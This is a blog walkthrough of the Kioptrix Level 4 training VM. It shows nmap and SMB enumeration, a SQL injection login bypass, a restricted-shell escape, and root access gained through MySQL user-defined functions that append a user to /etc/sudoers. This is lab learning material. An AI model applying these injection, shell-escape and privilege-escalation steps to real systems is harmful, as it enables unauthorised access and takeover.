Friday, November 8, 2013

Kioptrix Level 4 - Walkthrough

OK, so I got to the final level. As always I started with a port scan:

root@kali:~/kioptrix-level4# nmap -sS -A 192.168.1.21

Starting Nmap 6.40 ( http://nmap.org ) at 2013-11-07 06:34 CET
Nmap scan report for 192.168.1.21
Host is up (0.00039s latency).
Not shown: 566 closed ports, 430 filtered ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:D5:AC:F6 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
| smb-os-discovery:
|   OS: Unix (Samba 3.0.28a)
|   Computer name: Kioptrix4
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: Kioptrix4.localdomain
|_  System time: 2013-11-07T01:34:57-05:00
| smb-security-mode:
|   Account that was used for smb scripts: guest
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)
|_smbv2-enabled: Server doesn't support SMBv2 protocol

TRACEROUTE
HOP RTT     ADDRESS
1   0.39 ms 192.168.1.21

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.09 seconds

As the host had SMB service, I run another NMAP script to enumerate users:

root@kali:~/kioptrix-level4# nmap -sS -A --script smb-enum-users 192.168.1.21 -p445

Starting Nmap 6.40 ( http://nmap.org ) at 2013-11-07 07:04 CET
Nmap scan report for 192.168.1.21
Host is up (0.00035s latency).
PORT    STATE SERVICE     VERSION
445/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:D5:AC:F6 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Host script results:
| smb-enum-users:
|   KIOPTRIX4\john (RID: 3002)
|     Full name:   ,,,
|     Flags:       Normal user account
|   KIOPTRIX4\loneferret (RID: 3000)
|     Full name:   loneferret,,,
|     Flags:       Normal user account
|   KIOPTRIX4\nobody (RID: 501)
|     Full name:   nobody
|     Flags:       Normal user account
|   KIOPTRIX4\robert (RID: 3004)
|     Full name:   ,,,
|     Flags:       Normal user account
|   KIOPTRIX4\root (RID: 1000)
|     Full name:   root
|_    Flags:       Normal user account

TRACEROUTE
HOP RTT     ADDRESS
1   0.35 ms 192.168.1.21

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.42 seconds

I saved the information (was useful at the next step), and went to the webpage. I really liked the nice little goat picture :)


This time I tried to login as one of the users, so for the user I entered john, and for password:
' OR 1=1 #

and I got to a webpage showing a password.


With this I could get the following passwords:

Username : robert   Password : ADGAdsafdfwt4gadfga==
Username : john   Password : MyNameIsJohn

loneferret and root gave an error, so those are not exists in the web app, or there is something else with them (later it turned out they do not exists). I used these password to SSH into the system, and I could get in with both of them.

Unfortunately I got only a limited shell, with allowing to execute only a couple of commands. Fortunately we can escape from it with a simple trick: execute "echo os.system('/bin/bash')".

root@kali:~# ssh -l john 192.168.1.21
john@192.168.1.21's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ netstat -antp
*** unknown command: netstat
john:~$ ps -aux
*** unknown command: ps
john:~$ ls
john:~$ pwd
*** unknown command: pwd
john:~$ help
cd  clear  echo  exit  help  ll  lpath  ls
john:~$ 
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ 


ps aux showed that the mysql process is running with root privileges:

root      4055  1.7  5.0 128132 26152 ?        Sl   01:22   1:53 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var

I really wanted to get in, so I went to the web app, and looked for the mysql password, which was actually empty.

john@Kioptrix4:/var/www$ cat checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name


john@Kioptrix4:/var/www$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 133426
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

There is a nice privilege escalation method with this version (and earlier) of the DB, is basically creating a user defined function, which will run with root privileges. The function will execute system commands for us.

More info here:

Instead of the exploit we can also use this one:

I downloaded the so file, but had some trouble sending it over, cause I couldn't connect back to my machine with HTTP, TFTP, or FTP. I finally found that SSH is working, so I used SCP to transfer it over. It worked only with executing it from the victim, the other way SCP was blocked.

robert@Kioptrix4:~$ scp root@192.168.1.17:~/kioptrix-level4/lib_mysqludf_sys.so ~/
The authenticity of host '192.168.1.17 (192.168.1.17)' can't be established.
RSA key fingerprint is 53:bd:7e:52:65:39:a3:84:70:31:66:10:73:f5:d6:b6.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.17' (RSA) to the list of known hosts.
root@192.168.1.17's password:
lib_mysqludf_sys.so                                                                                                100%   13KB  12.6KB/s   00:00   
robert@Kioptrix4:~$ ls
lib_mysqludf_sys.so
robert@Kioptrix4:~$

It turned out that this file already exists and loaded, and I shouldn't make this extra work.

mysql> select * from foo2 into dumpfile '/usr/lib/lib_mysqludf_sys.so';
ERROR 1086 (HY000): File '/usr/lib/lib_mysqludf_sys.so' already exists

I had some issues with the function execution, so recreated them:

mysql> DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
Query OK, 0 rows affected (0.00 sec)

mysql> DROP FUNCTION IF EXISTS sys_get;
Query OK, 0 rows affected, 1 warning (0.00 sec)

mysql> DROP FUNCTION IF EXISTS sys_set;
Query OK, 0 rows affected, 1 warning (0.00 sec)

mysql> DROP FUNCTION IF EXISTS sys_exec;
Query OK, 0 rows affected (0.00 sec)

mysql> DROP FUNCTION IF EXISTS sys_eval;
Query OK, 0 rows affected, 1 warning (0.00 sec)

mysql>
mysql> CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)

mysql> CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)

mysql> CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)

mysql> CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)

mysql> CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;
+-----------------------+-----+---------------------+----------+
| name                  | ret | dl                  | type     |
+-----------------------+-----+---------------------+----------+
| sys_get               |   0 | lib_mysqludf_sys.so | function |
| lib_mysqludf_sys_info |   0 | lib_mysqludf_sys.so | function |
| sys_set               |   2 | lib_mysqludf_sys.so | function |
| sys_exec              |   2 | lib_mysqludf_sys.so | function |
| sys_eval              |   0 | lib_mysqludf_sys.so | function |
+-----------------------+-----+---------------------+----------+
5 rows in set (0.00 sec)

I tried to open a reverse shell, but it didn't work out, so finally I just updated the sudoers file with adding robert, and that worked. I also copied the shadow file and sudoers files to my home directory which I don't show here.

mysql> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select sys_exec("echo 'robert ALL=(ALL) ALL'>> /etc/sudoers");
+--------------------------------------------------------+
| sys_exec("echo 'robert ALL=(ALL) ALL'>> /etc/sudoers") |
+--------------------------------------------------------+
|                                                      0 |
+--------------------------------------------------------+
1 row in set (0.01 sec)

mysql> exit
Bye
robert@Kioptrix4:~$ sudo bash
[sudo] password for robert:
root@Kioptrix4:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Kioptrix4:~# ls /root/
congrats.txt  lshell-0.9.12
root@Kioptrix4:~# cat /root/congrats.txt
Congratulations!
You've got root.
(...)



#Other ways:

I also found that you can run sqlmap against the webapp to make SQL injection, but that wasn't my way doing it.

-----

I really enjoyed going through all levels, thanks to the developers of these VMs.

2 comments:

TonyAndStacieWedding said...

Great write up. The only issue I had was half way through the write up you switched from being logged in as John to being logged in as Robert. So when I ran the:

'select sys_exec("echo 'robert ALL=(ALL) ALL'>> /etc/sudoers");'

command it was for the wrong user. You might want to consider adding a extra line to add both Robert and John to the sudoers group.

TonyAndStacieWedding said...

Great write up. The only issue I had was half way through the write up you switched from being logged in as John to being logged in as Robert. So when I ran the:

'select sys_exec("echo 'robert ALL=(ALL) ALL'>> /etc/sudoers");'

command it was for the wrong user. You might want to consider adding a extra line to add both Robert and John to the sudoers group.